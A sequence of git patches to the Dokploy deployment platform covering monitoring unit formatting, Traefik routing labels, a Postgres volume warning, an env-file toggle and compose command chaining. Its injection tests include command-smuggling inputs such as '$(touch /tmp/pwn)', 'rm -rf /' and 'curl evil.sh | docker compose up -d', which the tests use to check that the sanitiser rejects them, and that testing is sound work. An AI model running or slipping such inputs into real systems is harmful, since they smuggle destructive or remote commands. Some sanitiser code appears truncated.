diff --git a/apps/dokploy/components/dashboard/monitoring/free/container/docker-network-chart.tsx b/apps/dokploy/components/dashboard/monitoring/free/container/docker-network-chart.tsx
index 56e512d52..92f23e75b 100644
--- a/apps/dokploy/components/dashboard/monitoring/free/container/docker-network-chart.tsx
+++ b/apps/dokploy/components/dashboard/monitoring/free/container/docker-network-chart.tsx
@@ -1,3 +1,4 @@
+import { formatMb, toMb } from "@dokploy/server/monitoring/units";
import { format } from "date-fns";
import { Area, AreaChart, CartesianGrid, YAxis } from "recharts";
import {
@@ -29,8 +30,8 @@ export const DockerNetworkChart = ({ accumulativeData }: Props) => {
const transformedData = accumulativeData.map((item, index) => ({
time: item.time,
name: `Point ${index + 1}`,
- inMB: item.value.inputMb,
- outMB: item.value.outputMb,
+ inMB: toMb(item.value.inputMb),
+ outMB: toMb(item.value.outputMb),
}));
return (
@@ -73,7 +74,7 @@ export const DockerNetworkChart = ({ accumulativeData }: Props) => {
}}
formatter={(value, name) => {
const label = name === "inMB" ? "In" : "Out";
- return [`${value} MB`, label];
+ return [formatMb(Number(value)), label];
}}
/>
}
diff --git a/apps/dokploy/components/dashboard/monitoring/free/container/show-free-container-monitoring.tsx b/apps/dokploy/components/dashboard/monitoring/free/container/show-free-container-monitoring.tsx
index 782b19134..54b7bace4 100644
--- a/apps/dokploy/components/dashboard/monitoring/free/container/show-free-container-monitoring.tsx
+++ b/apps/dokploy/components/dashboard/monitoring/free/container/show-free-container-monitoring.tsx
@@ -1,3 +1,4 @@
+import { formatMb } from "@dokploy/server/monitoring/units";
import { useEffect, useState } from "react";
import { Card, CardContent, CardHeader, CardTitle } from "@/components/ui/card";
import { Progress } from "@/components/ui/progress";
@@ -305,7 +306,7 @@ export const ContainerFreeMonitoring = ({
- {`Read: ${currentData.block.value.readMb} / Write: ${currentData.block.value.writeMb} `}
+ {`Read: ${formatMb(currentData.block.value.readMb)} / Write: ${formatMb(currentData.block.value.writeMb)}`}
@@ -318,7 +319,7 @@ export const ContainerFreeMonitoring = ({
- {`In MB: ${currentData.network.value.inputMb} / Out MB: ${currentData.network.value.outputMb} `}
+ {`In: ${formatMb(currentData.network.value.inputMb)} / Out: ${formatMb(currentData.network.value.outputMb)}`}
diff --git a/packages/server/src/monitoring/units.ts b/packages/server/src/monitoring/units.ts
new file mode 100644
index 000000000..880e8cdb8
--- /dev/null
+++ b/packages/server/src/monitoring/units.ts
@@ -0,0 +1,41 @@
+const IO_UNIT_FACTORS: Record = {
+ B: 1 / 1e6,
+ kB: 1e-3,
+ KB: 1e-3,
+ MB: 1,
+ GB: 1e3,
+ TB: 1e6,
+ KiB: 1024 / 1e6,
+ MiB: 1024 ** 2 / 1e6,
+ GiB: 1024 ** 3 / 1e6,
+ TiB: 1024 ** 4 / 1e6,
+};
+
+export const toMb = (value: number | string | undefined): number => {
+ if (typeof value === "number") {
+ return value;
+ }
+ if (!value) {
+ return 0;
+ }
+ const parsed = Number.parseFloat(value);
+ if (Number.isNaN(parsed)) {
+ return 0;
+ }
+ const unit = value.replace(/[0-9.\s]/g, "");
+ return parsed * (IO_UNIT_FACTORS[unit] ?? 1);
+};
+
+export const parseIoToMb = (raw: string | undefined): number =>
+ Number(toMb(raw).toFixed(6));
+
+export const formatMb = (value: number | string | undefined): string => {
+ const mb = toMb(value);
+ if (mb >= 1000) {
+ return `${(mb / 1000).toFixed(2)} GB`;
+ }
+ if (mb < 0.01 && mb > 0) {
+ return `${(mb * 1000).toFixed(2)} kB`;
+ }
+ return `${mb.toFixed(2)} MB`;
+};
diff --git a/packages/server/src/monitoring/utils.ts b/packages/server/src/monitoring/utils.ts
index 2c42b99a6..c2eefc8ae 100644
--- a/packages/server/src/monitoring/utils.ts
+++ b/packages/server/src/monitoring/utils.ts
@@ -1,6 +1,7 @@
import { promises } from "node:fs";
import { OSUtils } from "node-os-utils";
import { paths } from "../constants";
+import { parseIoToMb } from "./units";
export interface Container {
BlockIO: string;
@@ -28,13 +29,13 @@ export const recordAdvancedStats = async (
});
await updateStatsFile(appName, "block", {
- readMb: stats.BlockIO.split(" ")[0],
- writeMb: stats.BlockIO.split(" ")[2],
+ readMb: parseIoToMb(stats.BlockIO.split(" ")[0]),
+ writeMb: parseIoToMb(stats.BlockIO.split(" ")[2]),
});
await updateStatsFile(appName, "network", {
- inputMb: stats.NetIO.split(" ")[0],
- outputMb: stats.NetIO.split(" ")[2],
+ inputMb: parseIoToMb(stats.NetIO.split(" ")[0]),
+ outputMb: parseIoToMb(stats.NetIO.split(" ")[2]),
});
if (appName === "dokploy") {
From a8c35f750113581fe8a604bb488fca6bb07bfcfa Mon Sep 17 00:00:00 2001
From: Mauricio Siu
Date: Fri, 7 Aug 2026 01:13:13 -0600
Subject: [PATCH 093/419] fix: pin traefik routing to the isolated network when
isolated deployment is enabled
---
packages/server/src/utils/docker/domain.ts | 11 +++++++++++
1 file changed, 11 insertions(+)
diff --git a/packages/server/src/utils/docker/domain.ts b/packages/server/src/utils/docker/domain.ts
index 26acf2986..2204a71f9 100644
--- a/packages/server/src/utils/docker/domain.ts
+++ b/packages/server/src/utils/docker/domain.ts
@@ -220,6 +220,17 @@ export const addDomainToCompose = async (
labels.unshift("traefik.swarm.network=dokploy-network");
}
}
+ } else {
+ const isolatedNetwork = compose.suffix || compose.appName;
+ if (compose.composeType === "docker-compose") {
+ if (!labels.includes(`traefik.docker.network=${isolatedNetwork}`)) {
+ labels.unshift(`traefik.docker.network=${isolatedNetwork}`);
+ }
+ } else {
+ if (!labels.includes(`traefik.swarm.network=${isolatedNetwork}`)) {
+ labels.unshift(`traefik.swarm.network=${isolatedNetwork}`);
+ }
+ }
}
}
From d3a873a6f5d512f0a42cb54926818bc6d50ae5aa Mon Sep 17 00:00:00 2001
From: Mauricio Siu <47042324+Siumauricio@users.noreply.github.com>
Date: Fri, 7 Aug 2026 01:14:42 -0600
Subject: [PATCH 094/419] Merge pull request #5004 from
Dokploy/fix/isolated-deployment-traefik-network-label
fix: pin Traefik routing to the isolated network on isolated deployments
(cherry picked from commit bcab5b059fdf4c7f56f3c2442d388f68b4f1bd8f)
[skip ci]
---
packages/server/src/utils/docker/domain.ts | 11 +++++++++++
1 file changed, 11 insertions(+)
diff --git a/packages/server/src/utils/docker/domain.ts b/packages/server/src/utils/docker/domain.ts
index 8094f1df2..9f9453e1d 100644
--- a/packages/server/src/utils/docker/domain.ts
+++ b/packages/server/src/utils/docker/domain.ts
@@ -217,6 +217,17 @@ export const addDomainToCompose = async (
labels.unshift("traefik.swarm.network=dokploy-network");
}
}
+ } else {
+ const isolatedNetwork = compose.suffix || compose.appName;
+ if (compose.composeType === "docker-compose") {
+ if (!labels.includes(`traefik.docker.network=${isolatedNetwork}`)) {
+ labels.unshift(`traefik.docker.network=${isolatedNetwork}`);
+ }
+ } else {
+ if (!labels.includes(`traefik.swarm.network=${isolatedNetwork}`)) {
+ labels.unshift(`traefik.swarm.network=${isolatedNetwork}`);
+ }
+ }
}
}
From 6a10923a505db2669b6faad78bfb0b4effde83d3 Mon Sep 17 00:00:00 2001
From: Mauricio Siu
Date: Fri, 7 Aug 2026 01:34:15 -0600
Subject: [PATCH 095/419] fix: warn when the postgres image implies a data
directory that mismatches the mounted volume
---
.../postgres/advanced/show-custom-command.tsx | 42 +++++++++++++++++++
1 file changed, 42 insertions(+)
diff --git a/apps/dokploy/components/dashboard/postgres/advanced/show-custom-command.tsx b/apps/dokploy/components/dashboard/postgres/advanced/show-custom-command.tsx
index 07e059ce8..5a1a7753d 100644
--- a/apps/dokploy/components/dashboard/postgres/advanced/show-custom-command.tsx
+++ b/apps/dokploy/components/dashboard/postgres/advanced/show-custom-command.tsx
@@ -4,6 +4,7 @@ import { useEffect } from "react";
import { useFieldArray, useForm } from "react-hook-form";
import { toast } from "sonner";
import { z } from "zod";
+import { AlertBlock } from "@/components/shared/alert-block";
import { Button } from "@/components/ui/button";
import { Card, CardContent, CardHeader, CardTitle } from "@/components/ui/card";
import {
@@ -18,6 +19,19 @@ import { Input } from "@/components/ui/input";
import { api } from "@/utils/api";
import type { ServiceType } from "../../application/advanced/show-resources";
+const getPostgresMountPath = (dockerImage: string): string => {
+ const versionMatch = dockerImage.match(/postgres:(\d+)/);
+ if (versionMatch?.[1]) {
+ const version = Number.parseInt(versionMatch[1], 10);
+ if (version >= 18) {
+ return `/var/lib/postgresql/${version}/docker`;
+ }
+ }
+ return "/var/lib/postgresql/data";
+};
+
+const POSTGRES_DATA_PATH_REGEX = /^\/var\/lib\/postgresql(\/|$)/;
+
const addDockerImage = z.object({
dockerImage: z.string().min(1, "Docker image is required"),
command: z.string(),
@@ -91,6 +105,22 @@ export const ShowCustomCommand = ({ id, type }: Props) => {
}
}, [data, form]);
+ const dockerImage = form.watch("dockerImage");
+
+ const mountPathWarning = (() => {
+ if (type !== "postgres" || !dockerImage) return null;
+ const mounts = (data as any)?.mounts ?? [];
+ const dataMount = mounts.find(
+ (mount: { type: string; mountPath: string }) =>
+ mount.type === "volume" &&
+ POSTGRES_DATA_PATH_REGEX.test(mount.mountPath),
+ );
+ if (!dataMount) return null;
+ const expectedPath = getPostgresMountPath(dockerImage);
+ if (expectedPath === dataMount.mountPath) return null;
+ return { expectedPath, currentPath: dataMount.mountPath };
+ })();
+
const onSubmit = async (formData: AddDockerImage) => {
await mutateAsync({
mongoId: id || "",
@@ -139,6 +169,18 @@ export const ShowCustomCommand = ({ id, type }: Props) => {
)}
/>
+ {mountPathWarning && (
+
+ This image expects its data directory under{" "}
+ {mountPathWarning.expectedPath}, but the
+ volume of this database is mounted at{" "}
+ {mountPathWarning.currentPath}. Changing the
+ image does not migrate existing data — Postgres may
+ crash-loop or start with an empty database. Adjust the
+ volume mount path in the Volumes section or keep a
+ compatible image before saving.
+
+ )}
Date: Fri, 7 Aug 2026 12:00:55 +0000
Subject: [PATCH 096/419] fix: use proper linting
---
packages/server/src/utils/builders/compose.ts | 21 +++++++++++++------
1 file changed, 15 insertions(+), 6 deletions(-)
diff --git a/packages/server/src/utils/builders/compose.ts b/packages/server/src/utils/builders/compose.ts
index 89851d84c..77cfc91db 100644
--- a/packages/server/src/utils/builders/compose.ts
+++ b/packages/server/src/utils/builders/compose.ts
@@ -82,20 +82,29 @@ const sanitizeCommand = (command: string) => {
);
}
- if (sanitizedCommand.includes("&")) {
+ if (sanitizedCommand.includes("&")) {
// Block single '&' (e.g., backgrounding tasks) or malformed chains like '&&&'
- if (/(? cmd.trim());
- const isSafeChain = chains.slice(1).every((cmd) =>
- cmd.startsWith("docker compose ") || cmd.startsWith("docker-compose ")
- );
+ const isSafeChain = chains
+ .slice(1)
+ .every(
+ (cmd) =>
+ cmd.startsWith("docker compose ") ||
+ cmd.startsWith("docker-compose "),
+ );
if (!isSafeChain) {
- throw new Error("Chained commands must strictly start with 'docker compose '");
+ throw new Error(
+ "Chained commands must strictly start with 'docker compose '",
+ );
}
}
From 65d2853b9e9e0715d9ae20006f43a2a4b749697e Mon Sep 17 00:00:00 2001
From: ews-pgasser
Date: Fri, 7 Aug 2026 12:01:08 +0000
Subject: [PATCH 097/419] chore: add tests
---
.../compose/compose-command-injection.test.ts | 67 ++++++++++++++++++-
1 file changed, 66 insertions(+), 1 deletion(-)
diff --git a/apps/dokploy/__test__/compose/compose-command-injection.test.ts b/apps/dokploy/__test__/compose/compose-command-injection.test.ts
index 372a6fc59..f979c5c84 100644
--- a/apps/dokploy/__test__/compose/compose-command-injection.test.ts
+++ b/apps/dokploy/__test__/compose/compose-command-injection.test.ts
@@ -28,7 +28,7 @@ const runsSafely = (command: string) => {
const PAYLOADS = [
`$(touch ${MARK})`,
- "`touch " + MARK + "`",
+ `\`touch ${MARK}\``,
`x; touch ${MARK}`,
`x | touch ${MARK}`,
];
@@ -101,4 +101,69 @@ describe("compose createCommand injection", () => {
"deploy/docker-compose.prod.yml",
);
});
+
+ it("allows chained docker compose commands with '&&'", () => {
+ const cmd = createCommand({
+ ...base,
+ command:
+ "compose pull && docker compose down && docker compose up -d --build",
+ } as any);
+ expect(cmd).toBe(
+ "compose pull && docker compose down && docker compose up -d --build",
+ );
+ });
+
+ it("allows chaining with the legacy 'docker-compose' spelling", () => {
+ const cmd = createCommand({
+ ...base,
+ command: "compose pull && docker-compose down",
+ } as any);
+ expect(cmd).toBe("compose pull && docker-compose down");
+ });
+
+ it("rejects a single '&' used for backgrounding", () => {
+ expect(() =>
+ createCommand({ ...base, command: "compose up -d & sleep 1" } as any),
+ ).toThrow(/Single '&' is not allowed/);
+ });
+
+ it("rejects a malformed '&&&' chain", () => {
+ expect(() =>
+ createCommand({
+ ...base,
+ command: "compose pull &&& docker compose up -d",
+ } as any),
+ ).toThrow(/Single '&' is not allowed/);
+ });
+
+ it("rejects chained segments that are not docker compose invocations", () => {
+ expect(() =>
+ createCommand({
+ ...base,
+ command: "compose pull && rm -rf /",
+ } as any),
+ ).toThrow(/must strictly start with 'docker compose '/);
+ });
+
+ it("rejects an attempted injection smuggled inside a chained segment", () => {
+ for (const bad of [
+ "compose pull && docker compose up -d; touch /tmp/pwn",
+ "compose pull && docker compose up -d $(touch /tmp/pwn)",
+ "compose pull && docker compose up -d `touch /tmp/pwn`",
+ "compose pull && docker compose up -d | touch /tmp/pwn",
+ ]) {
+ expect(() => createCommand({ ...base, command: bad } as any)).toThrow(
+ /Invalid characters/,
+ );
+ }
+ });
+
+ it("rejects a chain that only pretends to start with docker compose later in the string", () => {
+ expect(() =>
+ createCommand({
+ ...base,
+ command: "compose pull && curl evil.sh | docker compose up -d",
+ } as any),
+ ).toThrow(/Invalid characters/);
+ });
});
From 6293a39187556f552401ba381c63a5fc858e0897 Mon Sep 17 00:00:00 2001
From: =?UTF-8?q?Narciso=20E=2E=20N=C3=BA=C3=B1ez=20Arias?=
Date: Fri, 7 Aug 2026 10:34:08 -0400
Subject: [PATCH 098/419] Merge pull request #4997 from
ews-pgasser/fix/chaining-canary
fix: allow docker compose command chaining
(cherry picked from commit 91258d00ad9f2f57610d853b74b52eee2e8acdfd)
[skip ci]
---
.../compose/compose-command-injection.test.ts | 67 ++++++++++++++++++-
packages/server/src/utils/builders/compose.ts | 30 ++++++++-
2 files changed, 94 insertions(+), 3 deletions(-)
diff --git a/apps/dokploy/__test__/compose/compose-command-injection.test.ts b/apps/dokploy/__test__/compose/compose-command-injection.test.ts
index 372a6fc59..f979c5c84 100644
--- a/apps/dokploy/__test__/compose/compose-command-injection.test.ts
+++ b/apps/dokploy/__test__/compose/compose-command-injection.test.ts
@@ -28,7 +28,7 @@ const runsSafely = (command: string) => {
const PAYLOADS = [
`$(touch ${MARK})`,
- "`touch " + MARK + "`",
+ `\`touch ${MARK}\``,
`x; touch ${MARK}`,
`x | touch ${MARK}`,
];
@@ -101,4 +101,69 @@ describe("compose createCommand injection", () => {
"deploy/docker-compose.prod.yml",
);
});
+
+ it("allows chained docker compose commands with '&&'", () => {
+ const cmd = createCommand({
+ ...base,
+ command:
+ "compose pull && docker compose down && docker compose up -d --build",
+ } as any);
+ expect(cmd).toBe(
+ "compose pull && docker compose down && docker compose up -d --build",
+ );
+ });
+
+ it("allows chaining with the legacy 'docker-compose' spelling", () => {
+ const cmd = createCommand({
+ ...base,
+ command: "compose pull && docker-compose down",
+ } as any);
+ expect(cmd).toBe("compose pull && docker-compose down");
+ });
+
+ it("rejects a single '&' used for backgrounding", () => {
+ expect(() =>
+ createCommand({ ...base, command: "compose up -d & sleep 1" } as any),
+ ).toThrow(/Single '&' is not allowed/);
+ });
+
+ it("rejects a malformed '&&&' chain", () => {
+ expect(() =>
+ createCommand({
+ ...base,
+ command: "compose pull &&& docker compose up -d",
+ } as any),
+ ).toThrow(/Single '&' is not allowed/);
+ });
+
+ it("rejects chained segments that are not docker compose invocations", () => {
+ expect(() =>
+ createCommand({
+ ...base,
+ command: "compose pull && rm -rf /",
+ } as any),
+ ).toThrow(/must strictly start with 'docker compose '/);
+ });
+
+ it("rejects an attempted injection smuggled inside a chained segment", () => {
+ for (const bad of [
+ "compose pull && docker compose up -d; touch /tmp/pwn",
+ "compose pull && docker compose up -d $(touch /tmp/pwn)",
+ "compose pull && docker compose up -d `touch /tmp/pwn`",
+ "compose pull && docker compose up -d | touch /tmp/pwn",
+ ]) {
+ expect(() => createCommand({ ...base, command: bad } as any)).toThrow(
+ /Invalid characters/,
+ );
+ }
+ });
+
+ it("rejects a chain that only pretends to start with docker compose later in the string", () => {
+ expect(() =>
+ createCommand({
+ ...base,
+ command: "compose pull && curl evil.sh | docker compose up -d",
+ } as any),
+ ).toThrow(/Invalid characters/);
+ });
});
diff --git a/packages/server/src/utils/builders/compose.ts b/packages/server/src/utils/builders/compose.ts
index 1694a48ed..77cfc91db 100644
--- a/packages/server/src/utils/builders/compose.ts
+++ b/packages/server/src/utils/builders/compose.ts
@@ -70,7 +70,8 @@ Compose Type: ${composeType} ✅`;
// Shell control characters that must never appear in a user-provided compose
// command: they would let it break out of the `docker ${command}` invocation
// into arbitrary host commands. A normal docker compose CLI line never needs them.
-const UNSAFE_COMPOSE_COMMAND = /[;&|`$(){}<>\n\\]/;
+// Removed '&' from the blocklist to allow '&&' chaining
+const UNSAFE_COMPOSE_COMMAND = /[;|`$(){}<>\n\\]/;
const sanitizeCommand = (command: string) => {
const sanitizedCommand = command.trim();
@@ -81,8 +82,33 @@ const sanitizeCommand = (command: string) => {
);
}
- const parts = sanitizedCommand.split(/\s+/);
+ if (sanitizedCommand.includes("&")) {
+ // Block single '&' (e.g., backgrounding tasks) or malformed chains like '&&&'
+ if (
+ /(? cmd.trim());
+ const isSafeChain = chains
+ .slice(1)
+ .every(
+ (cmd) =>
+ cmd.startsWith("docker compose ") ||
+ cmd.startsWith("docker-compose "),
+ );
+
+ if (!isSafeChain) {
+ throw new Error(
+ "Chained commands must strictly start with 'docker compose '",
+ );
+ }
+ }
+
+ const parts = sanitizedCommand.split(/\s+/);
const restCommand = parts.map((arg) => arg.replace(/^"(.*)"$/, "$1"));
return restCommand.join(" ");
From 79af8da827281cb1a03ef832074772e9aabeb94a Mon Sep 17 00:00:00 2001
From: =?UTF-8?q?Narciso=20E=2E=20N=C3=BA=C3=B1ez=20Arias?=
Date: Fri, 7 Aug 2026 15:46:51 -0400
Subject: [PATCH 099/419] Merge pull request #4171 from
rpoetrap/fix/docker-host
fix: invalid docker host while using docker desktop
(cherry picked from commit 1de7b515abdd801e6cf021197adbd9b47b693d46)
[skip ci]
---
apps/dokploy/server/utils/docker.ts | 16 +++++++++++++++-
1 file changed, 15 insertions(+), 1 deletion(-)
diff --git a/apps/dokploy/server/utils/docker.ts b/apps/dokploy/server/utils/docker.ts
index 07e4e26e1..084315241 100644
--- a/apps/dokploy/server/utils/docker.ts
+++ b/apps/dokploy/server/utils/docker.ts
@@ -11,10 +11,24 @@ export const isWSL = async () => {
}
};
+/** Returns if running in Docker Desktop. */
+export const isDockerDesktop = async () => {
+ try {
+ const { stdout } = await execAsync("getent hosts host.docker.internal");
+ return !!stdout.trim();
+ } catch {
+ return false;
+ }
+};
+
/** Returns the Docker host IP address. */
export const getDockerHost = async (): Promise => {
if (process.env.NODE_ENV === "production") {
- if (process.platform === "linux" && !(await isWSL())) {
+ const isLinux = process.platform === "linux"
+ ? (await Promise.all([isWSL(), isDockerDesktop()])).every((v) => !v)
+ : false;
+
+ if (isLinux) {
try {
// Try to get the Docker bridge IP first
const { stdout } = await execAsync(
From 5c862f7ef4958a8eda01199dabd3c17f94c65396 Mon Sep 17 00:00:00 2001
From: Narciso
Date: Fri, 7 Aug 2026 17:25:07 -0400
Subject: [PATCH 100/419] fix: add createEnvFile toggle to Compose, mirroring
Application
---
.../compose/env-file-preserved.test.ts | 45 +
.../environment/show-environment.tsx | 51 +-
.../drizzle/0180_slippery_norrin_radd.sql | 1 +
apps/dokploy/drizzle/meta/0180_snapshot.json | 8927 +++++++++++++++++
apps/dokploy/drizzle/meta/_journal.json | 7 +
apps/dokploy/server/api/routers/compose.ts | 1 +
packages/server/src/db/schema/compose.ts | 7 +-
packages/server/src/utils/builders/compose.ts | 4 +-
8 files changed, 9040 insertions(+), 3 deletions(-)
create mode 100644 apps/dokploy/__test__/compose/env-file-preserved.test.ts
create mode 100644 apps/dokploy/drizzle/0180_slippery_norrin_radd.sql
create mode 100644 apps/dokploy/drizzle/meta/0180_snapshot.json
diff --git a/apps/dokploy/__test__/compose/env-file-preserved.test.ts b/apps/dokploy/__test__/compose/env-file-preserved.test.ts
new file mode 100644
index 000000000..03aa057c4
--- /dev/null
+++ b/apps/dokploy/__test__/compose/env-file-preserved.test.ts
@@ -0,0 +1,45 @@
+import { getBuildComposeCommand } from "@dokploy/server/utils/builders/compose";
+import { describe, expect, it, vi } from "vitest";
+
+// Compose now has a `createEnvFile` toggle (default true), mirroring the
+// Application builder's flag: when disabled, Dokploy never writes `.env`,
+// so a repo-tracked file survives untouched.
+vi.mock("@dokploy/server/utils/docker/domain", () => ({
+ writeDomainsToCompose: vi.fn().mockResolvedValue(""),
+}));
+
+const baseCompose = {
+ appName: "env-file-toggle",
+ sourceType: "raw",
+ command: "",
+ composePath: "docker-compose.yml",
+ composeType: "docker-compose",
+ isolatedDeployment: false,
+ randomize: false,
+ suffix: "",
+ serverId: null,
+ env: "FOO=bar",
+ mounts: [],
+ domains: [],
+ environment: { project: { env: "" }, env: "" },
+} as unknown as Parameters[0];
+
+describe("getBuildComposeCommand createEnvFile toggle", () => {
+ it("createEnvFile: false never writes the .env file", async () => {
+ const command = await getBuildComposeCommand({
+ ...baseCompose,
+ createEnvFile: false,
+ });
+
+ expect(command).not.toContain("base64 -d >");
+ });
+
+ it("createEnvFile: true (default) writes Dokploy's vars", async () => {
+ const command = await getBuildComposeCommand({
+ ...baseCompose,
+ createEnvFile: true,
+ });
+
+ expect(command).toContain("base64 -d >");
+ });
+});
diff --git a/apps/dokploy/components/dashboard/application/environment/show-environment.tsx b/apps/dokploy/components/dashboard/application/environment/show-environment.tsx
index f5327818f..25195c837 100644
--- a/apps/dokploy/components/dashboard/application/environment/show-environment.tsx
+++ b/apps/dokploy/components/dashboard/application/environment/show-environment.tsx
@@ -16,16 +16,20 @@ import {
import {
Form,
FormControl,
+ FormDescription,
FormField,
FormItem,
+ FormLabel,
FormMessage,
} from "@/components/ui/form";
+import { Switch } from "@/components/ui/switch";
import { Toggle } from "@/components/ui/toggle";
import { api } from "@/utils/api";
import type { ServiceType } from "../advanced/show-resources";
const addEnvironmentSchema = z.object({
environment: z.string(),
+ createEnvFile: z.boolean(),
});
type EnvironmentSchema = z.infer;
@@ -71,18 +75,32 @@ export const ShowEnvironment = ({ id, type }: Props) => {
const form = useForm({
defaultValues: {
environment: "",
+ createEnvFile: true,
},
resolver: zodResolver(addEnvironmentSchema),
});
// Watch form value
const currentEnvironment = form.watch("environment");
- const hasChanges = currentEnvironment !== (data?.env || "");
+ const currentCreateEnvFile = form.watch("createEnvFile");
+ const composeData =
+ type === "compose"
+ ? (data as { createEnvFile?: boolean; sourceType?: string } | undefined)
+ : undefined;
+
+ const showCreateEnvFileToggle =
+ type === "compose" &&
+ (composeData?.sourceType !== "raw" || composeData?.createEnvFile === false);
+ const hasChanges =
+ currentEnvironment !== (data?.env || "") ||
+ (showCreateEnvFileToggle &&
+ currentCreateEnvFile !== (composeData?.createEnvFile ?? true));
useEffect(() => {
if (data) {
form.reset({
environment: data.env || "",
+ createEnvFile: composeData?.createEnvFile ?? true,
});
}
}, [data, form]);
@@ -97,6 +115,9 @@ export const ShowEnvironment = ({ id, type }: Props) => {
postgresId: id || "",
redisId: id || "",
env: formData.environment,
+ ...(type === "compose" && {
+ createEnvFile: formData.createEnvFile,
+ }),
})
.then(async () => {
toast.success("Environments Added");
@@ -110,6 +131,7 @@ export const ShowEnvironment = ({ id, type }: Props) => {
const handleCancel = () => {
form.reset({
environment: data?.env || "",
+ createEnvFile: composeData?.createEnvFile ?? true,
});
};
@@ -190,6 +212,33 @@ PORT=3000
)}
/>
+ {showCreateEnvFileToggle && (
+ (
+
+
+ Create Environment File
+
+ When enabled, an .env file will be created in the same
+ directory as your compose file on every deploy.
+ Disable this if you don't want to generate an
+ environment file.
+
+
+
+
+
+
+ )}
+ />
+ )}
+
{canWrite && (
{hasChanges && (
diff --git a/apps/dokploy/drizzle/0180_slippery_norrin_radd.sql b/apps/dokploy/drizzle/0180_slippery_norrin_radd.sql
new file mode 100644
index 000000000..b2f39a7f3
--- /dev/null
+++ b/apps/dokploy/drizzle/0180_slippery_norrin_radd.sql
@@ -0,0 +1 @@
+ALTER TABLE "compose" ADD COLUMN "createEnvFile" boolean DEFAULT true NOT NULL;
\ No newline at end of file
diff --git a/apps/dokploy/drizzle/meta/0180_snapshot.json b/apps/dokploy/drizzle/meta/0180_snapshot.json
new file mode 100644
index 000000000..e842ef57b
--- /dev/null
+++ b/apps/dokploy/drizzle/meta/0180_snapshot.json
@@ -0,0 +1,8927 @@
+{
+ "id": "6ca6441e-7818-4252-a702-4b24fc80a239",
+ "prevId": "df4869f3-5095-4472-8c0b-f169f6f89615",
+ "version": "7",
+ "dialect": "postgresql",
+ "tables": {
+ "public.account": {
+ "name": "account",
+ "schema": "",
+ "columns": {
+ "id": {
+ "name": "id",
+ "type": "text",
+ "primaryKey": true,
+ "notNull": true
+ },
+ "account_id": {
+ "name": "account_id",
+ "type": "text",
+ "primaryKey": false,
+ "notNull": true
+ },
+ "provider_id": {
+ "name": "provider_id",
+ "type": "text",
+ "primaryKey": false,
+ "notNull": true
+ },
+ "user_id": {
+ "name": "user_id",
+ "type": "text",
+ "primaryKey": false,
+ "notNull": true
+ },
+ "access_token": {
+ "name": "access_token",
+ "type": "text",
+ "primaryKey": false,
+ "notNull": false
+ },
+ "refresh_token": {
+ "name": "refresh_token",
+ "type": "text",
+ "primaryKey": false,
+ "notNull": false
+ },
+ "id_token": {
+ "name": "id_token",
+ "type": "text",
+ "primaryKey": false,
+ "notNull": false
+ },
+ "access_token_expires_at": {
+ "name": "access_token_expires_at",
+ "type": "timestamp",
+ "primaryKey": false,
+ "notNull": false
+ },
+ "refresh_token_expires_at": {
+ "name": "refresh_token_expires_at",
+ "type": "timestamp",
+ "primaryKey": false,
+ "notNull": false
+ },
+ "scope": {
+ "name": "scope",
+ "type": "text",
+ "primaryKey": false,
+ "notNull": false
+ },
+ "password": {
+ "name": "password",
+ "type": "text",
+ "primaryKey": false,
+ "notNull": false
+ },
+ "is2FAEnabled": {
+ "name": "is2FAEnabled",
+ "type": "boolean",
+ "primaryKey": false,
+ "notNull": true,
+ "default": false
+ },
+ "created_at": {
+ "name": "created_at",
+ "type": "timestamp",
+ "primaryKey": false,
+ "notNull": true
+ },
+ "updated_at": {
+ "name": "updated_at",
+ "type": "timestamp",
+ "primaryKey": false,
+ "notNull": true
+ },
+ "resetPasswordToken": {
+ "name": "resetPasswordToken",
+ "type": "text",
+ "primaryKey": false,
+ "notNull": false
+ },
+ "resetPasswordExpiresAt": {
+ "name": "resetPasswordExpiresAt",
+ "type": "text",
+ "primaryKey": false,
+ "notNull": false
+ },
+ "confirmationToken": {
+ "name": "confirmationToken",
+ "type": "text",
+ "primaryKey": false,
+ "notNull": false
+ },
+ "confirmationExpiresAt": {
+ "name": "confirmationExpiresAt",
+ "type": "text",
+ "primaryKey": false,
+ "notNull": false
+ }
+ },
+ "indexes": {},
+ "foreignKeys": {
+ "account_user_id_user_id_fk": {
+ "name": "account_user_id_user_id_fk",
+ "tableFrom": "account",
+ "tableTo": "user",
+ "columnsFrom": [
+ "user_id"
+ ],
+ "columnsTo": [
+ "id"
+ ],
+ "onDelete": "cascade",
+ "onUpdate": "no action"
+ }
+ },
+ "compositePrimaryKeys": {},
+ "uniqueConstraints": {},
+ "policies": {},
+ "checkConstraints": {},
+ "isRLSEnabled": false
+ },
+ "public.apikey": {
+ "name": "apikey",
+ "schema": "",
+ "columns": {
+ "id": {
+ "name": "id",
+ "type": "text",
+ "primaryKey": true,
+ "notNull": true
+ },
+ "name": {
+ "name": "name",
+ "type": "text",
+ "primaryKey": false,
+ "notNull": false
+ },
+ "start": {
+ "name": "start",
+ "type": "text",
+ "primaryKey": false,
+ "notNull": false
+ },
+ "prefix": {
+ "name": "prefix",
+ "type": "text",
+ "primaryKey": false,
+ "notNull": false
+ },
+ "key": {
+ "name": "key",
+ "type": "text",
+ "primaryKey": false,
+ "notNull": true
+ },
+ "config_id": {
+ "name": "config_id",
+ "type": "text",
+ "primaryKey": false,
+ "notNull": true,
+ "default": "'default'"
+ },
+ "reference_id": {
+ "name": "reference_id",
+ "type": "text",
+ "primaryKey": false,
+ "notNull": true
+ },
+ "refill_interval": {
+ "name": "refill_interval",
+ "type": "integer",
+ "primaryKey": false,
+ "notNull": false
+ },
+ "refill_amount": {
+ "name": "refill_amount",
+ "type": "integer",
+ "primaryKey": false,
+ "notNull": false
+ },
+ "last_refill_at": {
+ "name": "last_refill_at",
+ "type": "timestamp",
+ "primaryKey": false,
+ "notNull": false
+ },
+ "enabled": {
+ "name": "enabled",
+ "type": "boolean",
+ "primaryKey": false,
+ "notNull": false
+ },
+ "rate_limit_enabled": {
+ "name": "rate_limit_enabled",
+ "type": "boolean",
+ "primaryKey": false,
+ "notNull": false
+ },
+ "rate_limit_time_window": {
+ "name": "rate_limit_time_window",
+ "type": "integer",
+ "primaryKey": false,
+ "notNull": false
+ },
+ "rate_limit_max": {
+ "name": "rate_limit_max",
+ "type": "integer",
+ "primaryKey": false,
+ "notNull": false
+ },
+ "request_count": {
+ "name": "request_count",
+ "type": "integer",
+ "primaryKey": false,
+ "notNull": false
+ },
+ "remaining": {
+ "name": "remaining",
+ "type": "integer",
+ "primaryKey": false,
+ "notNull": false
+ },
+ "last_request": {
